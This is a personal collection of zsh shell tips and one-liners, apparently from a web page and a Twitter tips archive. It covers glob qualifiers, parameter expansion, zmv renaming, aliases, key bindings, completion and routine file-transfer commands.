ls PHP*/**/*.php # recursive but only for subdirectories PHP*
ls *.c(:r) # strip suffix
ls **/*(.) # only files no directories (.) means files only
ls -ld *(/) # list only directories
#oddities
chmod g+w **/* # group write
[[ FOO = (#i)foo ]] # case insensitive matching
fred=$((6**2 + 6)) # can do maths
: > /apache/access.log # truncate a log file
# arrays
X=(x1 x2) # create an array
print -C 1 $X # print each array element on it is own line
# 2 dimensional arrays- lookup conversion *N*
typeset -A convtable
convtable=(151 2 152 2 153 2 158 4 159 3 160 2 171 4 172 1 173 4)
echo $convtable[158]
print ${#path} # length of "path" array
print ${#path[1]} # length of first element in path array
print ${$( date )[2,4]} # Print words two to four of output of ’date’:
array=(~/.zshenv ~/.zshrc ~/.zlogout)
filelst[$(($#filelst+1))]=$x # append (push) to an array
filelst+=($x) # append (push) to an array (better)
files=(${(f)"$(egrepcmd1l)"} ) # push a sentence to an array (where egrepcmd1l is a global alias
% print ${array:t}
.zshenv .zshrc .zlogout
# Substring extraction ${parameter:start:length} , default length is rest *N*
a=12345
echo ${a:2:2}
34
echo ${a:2}
345
echo ${a[1,3]}
123
# display shell variables typeset
typeset | grep '^[A-Z]='
# zsh one liners
alias -g NF='*(.om[1])' # newest file
# parse xml file putting each tag on a new line
perl -ne 's/(<\/\w+>)/$1\n/g; print' < NF > $(print NF).txt
cat NF > $(print NF).txt
# variable substitution
somevar="bu&^*ck" # variable with mucky characters
print ${somevar//[^[:alnum:]]/_} # replace all non-alphanumerics with _ the // indicates global substitution *C*
echo ${file##*/} # echo just the file name (strip the path)
echo ${texfilepath%/*.*} # echo just the path (strip the file name)
echo ${file%.*} # strip file extension
echo $file:r # strip file extension
echo ${0##*[!0-9]} # strip all but trailing digit from filename $0
echo ${(M)0%%<->} # strip all but trailing digit from filename
file=${1/\//C:\/} # substitute / with c:/ ANYWHERE in string
file=${1/#\//C:\/} # substitute / with c:/ Beginning of string
file=${1/%\//C:\/} # substitute / with c:/ End of string
# note # & % are using to match beginning and end
JUNK=R.E.M. # substitute last . for a _
print ${JUNK/.(#e)/_} # substitute last . for a _
print ${JUNK/%./_} # substitute last . for a _
wpath=${wpath//\//\\\\} # substitute Unix / with dos \ slashes *N*
upath=${wpath//\\/\/} # convert backslashes to forward slashes (Dos to Unix
dpath=${upath/#\/c\//c:/} # convert /c/path/ to c:\path\ *N*
foo=$'bar\n\nbaz\n'
print ${foo//$'\n'} # strip out any carriage returns (some systems use \r) *N*
print ${foo%%$'\n'} # strip out a trailing carriage return *N*
url='www.some.com/some_strIng-HERe'
anchortext=${${(C)url//[_-]/ }:t} # titlecase *N*
echo "<a href='$url'>$anchortext</a>"
# creating a family of functions
# generate hrefs from url
function href{,s}
{
# href creates an HTML hyperlink from a URL
# hrefs creates an HTML hyperlink from a URL with modified anchor text
PROGNAME=`basename $0`
url=`cat /dev/clipboard`
if [ "$PROGNAME" = "href" ] ; then
href="<a href='$url'>$url"
elif [ "$PROGNAME" = "hrefs" ] ; then
anchortext=${${(C)url//[_-]/ }:t}
href="<a href='$url'>$anchortext"
fi
echo -n $col
echo $href > /dev/clipboard | more
}
# access vim scratch files v1,v2 to v9
function vx{0..9} {gvim.exe c:/aax/${0/#v/} &}
# create vim scratch files va,vb to vz
function vx{a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,q,r,s,t,u,v,w,x,y,z}
{
scratchfile=${0/#v/}
gvim.exe c:/aax/$scratchfile &
}
# regular expressions in zsh examples *N*
#pcre perl regular expressions *N*
zmodload zsh/pcre
setopt REMATCH_PCRE
var=ddddd; [[ "$var" =~ ^d+$ ]] && echo matched || echo did not match
[[ 'cell=456' =~ '(cell)=(\d+)' ]] && echo $match[1,2] $MATCH *N*
var=dddee; regexp="^e+$"; [[ "$var" =~ $regexp ]] && echo $regexp matched $var || echo $regexp did not match $var
# decisions
# cd to different drive depending on Windows login name
drive=$([[ "$LOGNAME" != davidr ]] && echo '/o' || echo '/c') # trad way
cd ${drive}/inetpub/wwwdev/www.some.co.uk/
drive=${${${LOGNAME:#davidr}:+/o}:-/c} # zsh way
cd ${drive}/inetpub/wwwdev/www.some.co.uk/
# chaining two modifications
# .om[1] gives newest file
# cyg is a zsh function doing a path conversion e.g. /c/ to C:/ *C*
cyg(){reply=("$(cygpath -m $REPLY)")}
gvim.exe $(echo /c/aax/*(.om[1]))(+cyg) & ### nested
gvim.exe /c/aax/*(.om[1]+cyg) & #### both operations
# odd stuff not necessarily zsh
cp -a file1 file # -a transfer permissions etc of file1 to file2preserve
# only copy if destination file exists and is older that source file
[[ -e $L/config.php ]] && cp -p -update $T/config.php $L *N*
# variable with variable name
eval "$1=$PWD"
# brilliant will change your life
setopt autopushd # *C*
dirs -v # *N*
cd ~5 # cd to fifth directory in directory stack
cd -<tab complete> then type number of directory needs compinit *C*
dirs -p # display recent directories *N*
cp file ~1 # where 1 is first entry in pushd stack
#
cp file.txt ~+<TAB> # select recent directory *N*
ls -1 ~1/*(.om[1]) # newest file previous directory *N*
ls -l ~-/*(.m0) # alternative previous directory ~- *N*
pushd +2 # cd to 3rd entry in pushd stack
#zsh completion
startfilename<tab> # will complete matching files anywhere in $PATH
startfilename<C-D> # will list matching files anywhere in $PATH
vi main*~*temp*<tab> # avoid file with temp in the name
cd /u/lo/li<tab> completes to /usr/local/lib
#directory sizes
du -sk *(/)
# Inline aliases, zsh -g aliases can be anywhere in command line
alias -g G='| grep -'
alias -g L='| less'
#this reduces a command like
ls | grep foo | less
#to
ls G foo L
#
alias -g R=' > /c/aaa/tee.txt ' # redirect
alias -g T=' | tee /c/aaa/tee.txt ' # tee
alias -g F=' | fmt -' # format
alias -g W=' | wc -l' # wc
#
# cd by .. or ... or ... or mv file ..../.
alias '..'='cd ..'
alias -g ...='../..'
alias -g ....='../../..'
alias -g .....='../../../..'
# suffix based alias
alias -s jpg='/c/program\ files/IrfanView/i_view32.exe'
now just type the image name to launch irfanview
alias -s php='c:/wamp/php/php.exe' # now just type test.php to execute it *N*
# named directories (quick jump to a deep sub-directory)
hash -d zsh="/usr/src/zsh" # create shortcuts to deep directories *N*
cd ~zsh
#magic equals
vim =some_file # edits file anywhere in $PATH
ls =some_file # lists file anywhere in $PATH
#magic ** (recursion)
vim **/some_file # edits file under under current dir
rm /c/intranet/**/*.stackdump # specify recursion at a sub-directory *N*
# modifying more than one file (multios)
# writes ls results to file1 & file2 appends to file3
ls > file1 > file2 >> file3 | wc # multi-io
myscript >&1 >output.txt # log a script output
#Redirection to file as well as send on to pipe:
make install > /tmp/logfile | grep -i error
# permissions & ownership *N*
ls *(.f644) # files with permissions 644
ls *(.g:root:) # files belonging to group root
ls *(.u:apache:) # files belonging to user apache
ls -l *(.rwg:nobody:u:root:) # user has read/write permissions
function g{0..9} { gmark $0 $* } # declaring multiple functions
# zmv "programmable rename"
autoload -U zmv
# Replace spaces in filenames with a underline
zmv '* *' '$f:gs/ /_'
zmv '(* *)' '${1// /}'
zmv -Q "(**/)(* *)(D)" "\$1\${2// /_}"
# Change the suffix from *.sh to *.pl
zmv -W '*.sh' '*.pl'
# lowercase/uppercase all files/directories (-i) interactive
$ zmv -i '(*)' '${(L)1}' # lowercase
$ zmv -i '(*)' '${(U)1}' # uppercase
$ zmv '([a-z])(*).txt' '${(C)1}$2.txt' ; rename fred.txt to Fred.txt
# initialize zsh/config *N*
autoload -U compinit
compinit
# case insensitive completion
zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}' \
'r:|[._-]=* r:|=*' 'l:|=* r:|=*'
#Wonderful zftp (write ftp scripts as though shell)
# init (could be in .zshenv etc)
autoload -U zfinit
zfinit
zfparams www.someweb.co.uk myuserid mypassword
zfopen
zfcd tips
zfls -l zshtips.html
zfput zshtips.html
zfls -l zshtips.html
# replace every occurence of a file (zsh and bash)
for f in */include/dbcommon.php; do;cp dbcommon.php $f; done
# alternative for loop
# replace every instance of file with new version
for f (**/x) cp newx $f
for f (**/x) {cp newx $f }
for f in **/x; do;cp newx $f; done
# create a clone of a file, modifying it on the fly *N*
for i in {3,4}; sed s/flag=2/flag=$i/ fred.txt > fred$i.txt
for i in {1..9}; sed s/flag=2/flag=$i/ fred.txt > fred$i.txt
# can be simplified to *N*
for f (*.txt) { echo $f }
for f (*.txt) echo $f # if no ;
for f (*(.)) mv $f fixed_$f
for f (*.csv.csv) {mv $f ${f:r}} # remove one level of extension *N*
for x ( 1 2 {7..4} a b c {p..n} *.php) {echo $x} *N*
# loop a command *N*
while true; do echo "infinite loop"; sleep 5; done
while (true){echo .;sleep 1}
repeat 3 time sleep 3 # single command
repeat 5 ;do date; sleep 5; done # multi
while true ;do date; sleep 5; done # forever
# loop a command *N*
for count in {1..10}; do
r\m x*([1,10]); # delete 10 files at a time
echo "loop $count"
done
for c ({1..50}) {php ./test.php; sleep 5;} *N*
# using vared editor
vared -p "choose 1-3 : " -c ans
case $ans in
1|a) sdba $key;;
2|f) sdbf $key;;
3|i) sdbi $key;;
*) echo "wrong answer $ans\n" ;;
esac
# the powerful select
PROMPT3="Choose File : "
select f in $(ls **/*.tex |egrep -i "${param}[^/]*.tex")
do
if [[ "$REPLY" = q ]]
then
break
elif [[ -n "$f" ]]; then
gvim $f
fi
done
# multiple script commands on same line
if [ $# -gt 0 ];then string=$*;else;string=$(getclip);fi
if grep -iq 'matching' *.php ;then echo "Found" ;else echo "Not Found"; fi *N*
# Command on multilines with a backslash
ls \
> x*
# Command on multilines with a quote
sed '
s/mvoe/move/g
s/thier/their/g' myfile
# editing a variable (You must try this)
vared PATH
bindkey -v # vi mode line editting
bindkey -M viins '^O' copy-prev-shell-word
bindkey '^L' push-line # push current command into a buffer, allows you to do another command then returns to previous command
# use cat > /dev/null and them press key to get keycode
# configure F7 to output a command
bindkey -s '^v<F7>' "ls -l\n" # configure F7 to output 'ls -l'
bindkey -s "^[[18~" "ls -l\n" # You must actually type Control-v F7 at CLI this is what it looks like on my system :
# put a command string onto f4
bindkey -s "^[OS" "\^d\^c\n"
# bind control-n to scroll most recent file [*N]
zstyle ':completion:most-recent-file:*' match-original both
zstyle ':completion:most-recent-file:*' file-sort modification
zstyle ':completion:most-recent-file:*' file-patterns '*(.)'
zstyle ':completion:most-recent-file:*' hidden all
zstyle ':completion:most-recent-file:*' completer _files
zle -C most-recent-file menu-complete _generic
bindkey "^N" most-recent-file
zstyle ':completion:expand-args-of::::' completer expand-args-of
bindkey '^x^a' expand-args-of
# Prompt at end of command line
RPROMPT="[%t]" (display the time)
# colo(u)red prompt
fg_light_red=$'%{\e[1;31m%}'
PS3="$fg_light_red Select file : "
# print fred in blue color
print '\e[1;34m fred'
# color module
autoload colors ; colors
print "$bg[cyan]$fg[blue]Welcome to man zsh-lovers" >> $TTY
PROMPT="%{$bg[cyan]%}%{$fg[red]%}%n%{$reset_color%}%{$bg[cyan]%}@%{$fg[red]%}%m %{$fg[yellow]%}%~ %{$reset_color%}%{$bg[cyan]%}%% "
echo "$bg[blue]$fg[yellow]highlight a message"
curl -u userid:password -d status=" updating twitter with from curl " http://twitter.com/statuses/update.xml
# my .zshenv *N*
autoload -U compinit
compinit
autoload edit-command-line
zle -N edit-command-line
bindkey '\ee' edit-command-line
VISUAL='/bin/vim'
EDITOR='/bin/vim'
#textify a phrase to create an image name
s="Fred Goat Dog"
print ${(L)s:gs/ /-/}.jpg
or
print ${(L)s// /-}.jpg
and to de-textify an image
foo=fred-goat-dog.jpg
echo ${(C)foo:gs/-/ /:r}
or
print ${${(Cs:-:):-fred-goat-dog.jpg}%.*}
#new
# read a file into a variable
var="$(<file)"
# Zsh Syntax Aide-Memoire (concentrated) *N*
cd -<TAB> # list recent dirs
cp 1.php ~-<TAB> # list recent dirs
vi *(om[1])<TAB> # edit newest file
ls *(.mh3) # modified 3 hours ago
ls *(.mh-3) # less than 3 hours
ls *(.mh+3) # more than 3 hours
gvim -p *(m0) # all files modified today
mv *.*(^m-1) old/ # move all but todays files to sub-directory
vi -p *(.om[1,3]) # open 3 newest files in tabs (gvim)
ls *(^m0) # files NOT modified today
ls -l *(m4) # list files modified exactly 4 days ago
ls *.(jpg|gif|png)(.) # do not break if one or other image type absent
ls ~1/*(.om[1]) # list newest file from previous directory needs setopt autopushcd
ls -lt **/*~pdf/*(.m0om[1,10]) # up to 10 files modified in last 24 hrs *N*
rm **/.*.sw?~libs/*(.D) # delete vim swop files *N*
for f (*.php) { diff $f ${PWD/html/staging}/$f} # diff all files in parallel directories
mv !?main<TAB> # recall previous command containing the string main
vi !?main?$<tab> # recall just last parameter of command containing the string main *C*
scp -rp *(om[1]) [email protected]:$PWD *N*
scp -rp *(om[1]) [email protected]:${PWD/test/live} *N* modify pwd remote path
rsync -avz --update --existing *(.m0) backup/ # will only copy file if newer than target, no copy occurs if target absent
# upload todays files if newer and existing
rsync -vz --stats --existing --update *(.m0) [email protected]:$PWD *N*
ls (x*~x[3-5]) # list files x* except x3 to x5
ls **/*~*/.git/* # ignore all git subdirectories *~* matches a path
ls (^(backup*|cache*|list*|tmp)/)##*(.) # ignore 4 directories
!!:gs/fred/joe/ # edit previous command replace all fred by joe
cp NF ${PWD/html/release} # *N*
while (true){echo -n .;sleep 1} # *N* *C*
#super commands
zargs **/*.(js|php|css)~(djr|libs|dompdf)/*~*/junk/* -- grep -i
alias phpall='for f (*.php~test.php(om)) {php -l $f} | more'
alias phpsub=' for f (./(async|inc)/*.php~test.php(om) *.php(om)) {php -l $f} | more' # *N*
alias diffall='for f (*.php~test.php(.om)){diff -q $f ${PWD/html/staging}/$f} 2>&1 | grep differ'
alias -g STAG=' ${PWD/html/staging}'
# End Zsh Syntax Aide-Memoire (concentrated)
mv Licence\ to\ Print\ Money.pdf !#^:gs/\\ //
A=(1 2 5 6 7 9) # pre-populate an array # *N*
for ((i=1;$#A[i];i++)) echo $A[$i] # *N*
# debug echo shell commands and provide trace info *N*
# you do need XTRACE if you want to echo whats happening in your script
setopt XTRACE VERBOSE
unsetopt XTRACE VERBOSE
# misc *N*
# switch two previously typed words with alt-t *N*
bindkey "^[t" transpose-words
setopt interactivecomments # allows end of command line comments
take(){[ $# -eq 1 ] && mkdir "$1" && cd "$1"} # create a directory and move to it in one go
zmodload -F zsh/stat b:zstat
zstat -g canal-bridge.mov # full files details *N*
# remember current directory : double quotes vital
alias markcd="cd $(pwd)" *N*
# where is an alias set?
zsh -lxic : 2> >(grep "> alias 'web")
# run a remote zsh script via ssh *N*
ssh 192.168.1.218 -l root "zsh -c 'for i (/usr/*(/)) {ls \$i }'"
# compare local & remote file size *N*
FILE=$(echo *(.om[1])) && ls -l $FILE && ssh 192.168.1.1 -l root "zsh -c 'ls -l $PWD/$FILE'"
# remote login in with zsh
ssh -t [email protected] 'sh -c "cd /tmp && exec zsh -l"'
# launch zsh not as sub-shell *N*
exec zsh
# which shell active *N*
ps -p $$ | grep $$ | awk '{print $NF}'
# zsh menu
echo "enter 0-2,a"
read ans ; # read in a parameter
case "$ans" in
0|${prog}0) cd "$(cat /c/aam/${prog}0)" ;;
1|${prog}1) cd "$(cat /c/aam/${prog}1)" ;;
2|${prog}9) cd "$(cat /c/aam/${prog}9)" ;;
a|${prog}l) cd "$(cat /c/aam/${prog}a)" ;;
**) echo "wrong number $ans\n" ;;
esac
# zsh hook functions #N#
chpwd,periodic,precmd,preexec , zshexit, zshaddhistory
preexec(){ echo using $@[1]}
# useful aliases
# swap / flip between 2 deep parallel directories *N*
alias flip=' cd html live > /dev/null &>1 || cd live html > /dev/null &>1'
# syntax-check all php files in date order excluding certain
alias phpall='for f (*.php~test.php(om)) {php -l $f}'
# diff all files in parallel directories in date oder (exclude certain)
alias diffall='for f (*.php~test.php(.om)) { diff -q $f ${PWD/html/staging}/$f}'
# locating/identifying stuff *N*
which zsh
whence -vsa ${(k)commands[(I)zsh*]} # search for zsh*
locate zsh
cd $(locate -l1 -r "/zoo.txt$")(:h) # cd to directory of first occurence of a file zoo.txt (N)
cd ${$(locate zoo.txt)[1]:h} *N*
cd **/resource.php(:h) *N*
str=aa,bb,cc;print ${(j:,:)${(qq)${(s:,:)str}}} # quotify a string *N*
# completion
# define tab-completable parameters p1,p2,p3 for your widget
compdef "_values 'widget tool' p1 p2 p3" widget
widget
p1 p2 p3
# bind history to up down keys
autoload -U up-line-or-beginning-search
autoload -U down-line-or-beginning-search
zle -N up-line-or-beginning-search
zle -N down-line-or-beginning-search
bindkey "^[[A" up-line-or-beginning-search
bindkey "^[[B" down-line-or-beginning-search
# insecure directories warning on cygwin
# #run compaudit
# compaudit
# #It told me that my latest zsh install was insecure (directories were writable)
# # The following solved the problem
# chmod -R 755 /usr/share/zsh/
# chown -R myusername /usr/share/zsh (on Vista (as admin)
# start zsh from a windows short cut
C:\cygwin\bin\mintty.exe -i /Cygwin-Terminal.ico /bin/zsh --login
Sources newsgroup gmane.comp.shells.zsh.user newsserver news.gmane.org
:!zshtipsftp
# Upload this page
##########################################
# Zsh Daily Tips on Twitter Archive
#---------------------------------#
Zsh Daily Tips on Twitter Archive
# Clean up file names and remove special characters
# $1 holds path $2 filename
zmv -n '(**/)(*)' '$1${2//[^A-Za-z0-9._]/_}
zmv '(*)' '${(L)1}' # lowercase file names
zmv 'pic(*).jpg' 'pic${(l:4::0:)1}.jpg' # pic1.jpg,pic11.jpg to pic0001.jpg,pic0011.jpg (pad 0)
# zmv regexp memory renaming
autoload -U zmv
zmv '(*).html' '$1.php'
zmv '(*)_(*)' '$1-$2'
# awkward file names trick
touch ./-Mike.txt
rm -Mike.txt
rm: unknown option -- M
Try 'rm ./-Mike.txt' to remove the file �Mike.txt�
# estring take control of what is listed
print -rl **/*.A(.e_'REPLY=$REPLY:r; [[ -f $REPLY.B ]] ; echo $REPLY.{A,B} '_) > /dev/null
# splitting PATH variable
for e in ${=PATH//:/ };echo $e
for e in ${(s(:))PATH};echo $e
for e in $path[@];echo $e
for e ($path[@]){echo $e}
# files not matching 'pattern'
print -rl -- *(.^e{'grep -q pattern $REPLY'})
or
: *(.e{'grep -q pattern $REPLY || print -r -- $REPLY'})
# count with estring
ls **/*(e:'[[ -e $REPLY/index.php && -e $REPLY/index.html ]]':)
ls **/*(e:'l=($REPLY/index.*(N)); (( $#l >= 2 )) ':)
# estring
# find c files with more than 10 lines
ls **/*.c(-.e{'((`wc -l < $REPLY` > 10))'})
# estring qualifer
print **/*.c(e_'[[ -e $REPLY ]]'_) # neutral just lists
# c files w/o .o
print **/*.c(e_'[[ ! -e $REPLY:r.o ]]'_)
alias -g NL1=' ~1/*~vssver.scc(om[1])' # newest file in previous directory
alias -g NL2=' ~1/*~vssver.scc(om[2])'
cp NL2 .
# detect if variable exists null value or not
echo ${+PS1} ${+xyq}
1 0
xyq=''
echo ${+PS1} ${+xyq}
1 1
man zshexpn
# $match
sstring="before inside after"
[[ "$sstring" = (#b)([^i]#inside)(*) ]]
echo $match[1]
echo $match[2]
# match word beginning
[[ "foo bar" = *([^[:WORD:]]|(#s))bar* ]] && print yes
[[ "obar foo" = *([^[:WORD:]]|(#s))bar* ]] || print no
# zed simple editor
autoload zed
zed myfile.txt
zed -f myfunc
https://t.co/qUlSHL6Uzl
# previous directories
setopt autopushd
autoload -U compinit && compinit
echo ~- ~1 ~2 ~-1 ~-0 ~0
cd -<tab>
cp ~-<tab><tab> ~2<tab>
# precise dates/times
autoload -U age
ls -tl *.*(e#age 2015/06/01 now#)
ls -tl *(.e#age 2015/06/01 2015/06/30#)
# latest zsh 5.1
http://t.co/fL349fSlty
# navigate aliases, functions, history etc
https://t.co/wpKFMx1Ap8
# oh-my-zsh has 'take' (create subdir and cd to it, here is my attempt
take(){ [ "$#" -eq 1 ] && mkdir "$1" && chdir "$1"}
# edit command in vi: Esc-v or ALT-V bring up $EDITOR
EDITOR='/bin/vi'
autoload edit-command-line
bindkey -M vicmd v edit-command-line
print *(e*'reply=( this ${REPLY}* )'*)
What problem is this solving?
find out at http://t.co/L7YW0oLDsl
# clean up file name : generic substitute
setopt extendedglob
file='a b__c_ d.gif'
print ${file//[_ ]##/-}
a-b-c-d.gif # result
# grep2awk
# https://t.co/MyW1x9sxli
# grep2awk is a zle function turns the first grep in the current command line into its awk equivalent,cursor unchanged
# vi cli edit
bindkey -v
# eliminate double click of ESC problem where first key stroke ignored
# bind esc to nothing
bindkey -as '\e' ''
# remote login in with zsh
ssh -t [email protected] 'sh -c "cd /tmp && exec zsh -l"'
# you need 5.0.8
ps gvim<tab>
# lists just the jobs gvim
setopt autopushd
cd -<tab>
alias 1='cd -1'
alias 2='cd -2'
alias 3='cd -3'
alias 4='cd -4'
touch {a,a1}.php
ls a1#.php
a.php a1.php
ls a1##.php
a1.php
X# Zero or more X
X## One or more X
ls *.php<Ctrl-C>
echo $ZLE_LINE_ABORTED
ls *.php
# list files that are different on remote server
rsync -rvnc --exclude '*.scc' [email protected]:${PWD/staging/release}/ .
# n dryruN
useful global aliases
alias -g ...='../..'
alias -g ....='../../..'
alias -g .....='../../../..'
cp 1.php ....
cp ...<TAB>
REPORTTIME=5
will automatically report time for any command which lasts longer than 5 secs
info --index-search="reporttime" zsh
# chpwd is run every time you cd (chdir) use it to change console title etc
where chpwd # to see what if anything is in yours
# hooks (b4 every command precmd if it exists)
> precmd(){echo 'anything you want'}
> date
Thu, Jun 04, 2015 8:13:38 PM
anything you want
# movable
scp -rp *(om[1]) [email protected]:$PWD
# movable & modify path
scp -rp *(om[1]) [email protected]:${PWD/test/live}
# upload todays files
scp -p *.php(m0) [email protected]:/var/www/html/report/
# get latest file including possible dot files (D)
ls *~vssver.scc(.om[1]D)
# my first stab at an aide-memoire of the bits of zsh I use frequently
http://t.co/wZOFoBeq9t
# exclude directory at any depth e.g. junk
ls **/fred.jpg~(|*/)junk(|/*)
# e.g. exclude /*junk*/
ls **/fred.jpg~(|*/)*junk*(|/*)
# you can chain file globs
ls -1 ./(async|inc)/*.php~test.php(om) *.php(om)
for f (./(async|inc)/*.php~test.php(om) *.php(om)) {php -l $f}
# use variable function name to share script but change behaviour
fun{a,b}(){echo $0} # create funa funb
fun{0..9}(){echo $0} # fun0-fun9
# zsh show ambiguity, useful when completing on files with very similar names
http://t.co/VFCMeAHlN7
info --index-search="ambiguity" zsh
# retrieving a particular parameter from history
ls xx vv hh bucket fred
...
...
vi !?buck?^ # first
echo !?fred?2 # 2nd
# select 3rd file
ls xyz*
vi !$([3])
info --index-search="zcalc" zsh
autoload zcalc
zcalc '23.0 / 3'
zcalc
PI*2
Collection of ZSH frameworks, plugins, tutorials & themes
https://t.co/0wgaqnaMoK
file + full path
echo ost-config.php(:a)
/var/www/osticket/upload/include/ost-config.php
# did not explain this tip properly (:a) (all)
exclude extensions and exclude directories
ls -1t report/**/^(vssver.scc|*.js|*.png|*.bak)~*/(async|images)/*(.om[1,20])
accessing output of locate (assumes no spaces in file names)
a=($(locate my.cnf))
cd ${a[1]}(:h)
vi ${a[1]}
see your directory tree
ls -d /var/www/html/**/*(/)
pathtovim==gvim
echo $pathtovim
/cygdrive/c/VIM/VIM74/gvim
# DIY zsh write your own functions
# ignore .scc .bak .obj
not(){reply=("$(echo $REPLY |grep -iva '.scc\|.bak\|.obj')")}
ls fred.*(+not)
# global sed substitute
zargs **/*.(php|inc) -- sed -i 's#ereg_replace("\([^"]*\)"#preg_replace("/\1/"#g'
# preg_replace requires //
# of course you could also do to get the first match
cd **/note027.txt([1]:h)
# zsh is a bit like lego just bolt another bit on
# cd to directory containing report.php
cd **/report.php(:h)
# fails if more than 1 report.php
# access time picks up files that have been "used" ie cat,edit etc
ls -l *(.aM-1)
the date shown will be confusing so use
ls -lu *(.aM-1)
ls -l *(mh-2) # modified in past 2 hrs
ls -l *(ch-2) # changed in past 2 hrs, also picks up files that have been moved/renamed
# filter by permissions read-write-execute 4-2-1
ls y*(.f777)
ls *.jpg(f644)
# line continuation
[ -e file1 ] && [ -e file2 ] && echo 'both'
# or
[ -e file1 ] &&
[ -e file2 ] &&
echo 'both exist'
# or
ls ;\
date
zmodload -i zsh/mathfunc
echo $(( pi = 4.0 * atan(1.0) ))
print $(( rand48(seed) ))
echo $(( sin(1/4.0)**2 + cos(1/4.0)**2 - 1 ))
# filter by ext,exclude dirs,filter by size,date,owner,group,perms
ls -l **/*.(js|php|inc)~(junk|libs)/*(.Lk-2m-14u:nobody:g:apache:xXom[1,3])
# from http://t.co/lgepDuH7mr
ls -l **/*(.Lm-2mh-1om[1,3])
Lm-2 # <2mbs
mh-1 # less 1 hr
om[1,3] most recent 3
# list files newer than 22/10/14 from specific directories
autoload -U age
ls [01]<->201[45]/Daily\ report*.csv(e#age 2014/10/22 now#)
# ls allfiles except dotfiles filesonly
# ls positive glob ~ negative glob (modifiers) e.g. list all files without an extension ( no dot)
ls *~*.*(.)
# man zshall
# better search the zsh man pages
# e.g. for bindkey
info --index-search=bindkey zsh
zinfo(){info --index-search="$*" zsh}
# backup a file with a prefix
cp longfilename.php backup_!#^
cp {,backup_}longfilename.php # pretty cute
# backup a file (with a suffix)
cp longfilename.php !#^:r.bak
cp longfilename.{php,bak} # alternative
cp longfilename.php !#^:r.bak
or
cp longfilename.php !#$:r.bak
or
cp longfilename.php !#$:s/php/bak/
# use <tab> to complete, more tomorrow
# Current line history
!#:0 command
!#^ first
!#1 first
!#1-4 first 4
!#$ last
!#* all
!#- all but last
# The D operator allows you to include dot files in a glob. D is for DOT FILES
ls *(.D) # include dotfiles
touch .xxx xxx
ls *xxx*(.)
xxx
ls *xxx*(.D)
.xxx xxx
# precise date filtering
autoload -U age
ls -lt *(.e#age 2014/10/15 2015/01/15#)
# archiving old files
mv *(.mM+12) old/ # files older 12 mths
mv *(/mM+12) 2013archive/ # old directories
m[Mwhms][-+]n
*(.mh3) # 3 hrs ago
*(.mh-3) # < 3 hrs
*(.mh+3) # > 3 hrs
*(.^m0) # not today
*(.mw0) # this week
*(.mM1) # last month
# :a modifier display full path
ls *(.:a)
:e :h :t :r modifiers
$f:e is $f file extension
:h --> head (dirname)
:t --> tail (basename)
:r --> rest (extension removed)
# newest file from previous directory
setopt autopushcd
vi ~1/*(.om[1])
# ZSH-Lovers List files in reverse order sorted by name
print -rl -- *(On)
# or
print -rl -- *(^on)
# Remove zero length and .bak files in a directory
rm -i *(.L0) *.bak(.)
# All files in /var/ that are not owned by root
ls -ld /var/*(^u:root)
# I will now start randomly tweeting gems from http://t.co/imT2cMf0wx
echo $[${RANDOM}%1000]
# mastering $REPLY
# list .c files with no .o
touch {f,j}.{c,o} k.c l.c
print *.c(e_'[[ ! -e $REPLY:r.o ]]'_)
# _ delimits :r strip .c
# DIYcompletion widgets
# gvim needs DOS path so does not work
gvim ~/.zshrc
gvim ~/.zshrc(+cyg)
cyg(){reply=("$(cygpath -m $REPLY)")
# online zsh help
http://t.co/1I706qiJhH
http://t.co/e1zvJKuCUO
http://t.co/736NmOcFe0
# what's in his dot files
http://t.co/5qwgkTO1RI
# remember you have completion on man
man zsh<tab>
zsh zshall zshbuiltins zshcompctl zshcompwid zshexpn zshmodules etc
# Productivity Tip 14
modifying previous command
r oldstr=newstr
^fred^joe
^str1^str2^:G
^str1^str2^:u:p
!!:gs/fred/joe/
# Productivity Tip 13
What's been updated?
alias lsnew='ls -lt **/*(.om[1,10])'
alias lsnew2='ls -lt **/*(php,inc,js,css)(.om[1,10])'
# Productivity Tip 12
Search a web root with exclusions
alias zg='zargs **/*.(js|php|css|inc)~(libs|test|temp|wiki|dompdf)/* -- grep -i '
# Productivity Tip 11
# diff all files in parallel directory
alias diffall='for f (*.php~test.php(.om)) { diff -q $f ${PWD/html/staging}/$f}'
# Productivity Tip 10 - syntax check all php files in date order
alias phpall='for f (*.php~test.php(om)) {php -l $f} | more'
# Productivity Tip 9
REL dynamically readjusts to parallel dir
alias -g REL=' ${PWD/html/release}'
diff index.php REL
cd inc
diff main.inc REL
# Productivity Tip 8 - powerful history
# Recall just last parameter from history which contains string sql
ls !?sql?$<tab>
# Productivity Tip 7 - jump to any recently visited directory with cd -<tab>
autoload -U compinit && compinit
setopt autopushd
cd -<tab>
# Productivity Tip 6 up-line-or-beginning-search or down-line-or-beginning-search
# type php then up/down arrow through history of previous php
# Productivity Tip5 - :globals to create meta-lang
# newest file
alias -g NF='*(.om[1])'
# newest directory
alias -g ND='*(/om[1])'
cp NF ND
# ZSH Productivity Tip 4 - the modifiers
# copy todays mp3 only
cp *.mp3(m0) g:/
# edit newest file
vi *(om[1])
# zsh Productivity Tip 3
# **/* with +ve & -ve filtering .use an alias
grep -i 'fred' ./(junk|colin)/**/*.(php|inc|js)~(**/wiki|**/dompdf)/*
# ZSH Productivity Tip 2
# By binding _expand_alias to the Tab key I can tab-expand my aliases and modify them as necessary thus fewer aliases
# zsh productivity tip 1 - named roots
hash -d www='/var/www/html'
hash -d del='/tmp/del'
cd ~www/www.site.com
mv file ~del
# elegance of the for loop
for f (*) mv $f $f.sql
# (.) files only
for f (*(.)) mv $f $f.sql
# basic zsh filter
ls -1 file*
# select 3rd file in list
vi file*([3])
# contain keyword
gvim -p $(grep -il 'dunk\|gunk' **/*(.))
gvim -p $(grep -Eil '(dunk|gunk)' **/*(.))
gvim -p $(grep -REil '(dunk|gunk)' .)
# zmodload -F zsh/stat b:zstat
# detailed stats on a file
zstat -g canal-bridge.MOV
# referring to previous tweet
# complete either end
ls joe<tab>
# completes xxxjoeyyy.txt
# equivalent to
ls *joe*<tab>
# autoload -U compinit && compinit -i
zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}' \
'r:|[._-]=* r:|=*' 'l:|=* r:|=*'
# try expanding grep !!
grep -<TAB>
# there are 164 different options
# expand parameters (help)
autoload -U compinit && compinit -i
chmod +<TAB>
X -- execute
g -- group
o -- other'
r -- read
.. etc
# servi<TAB>
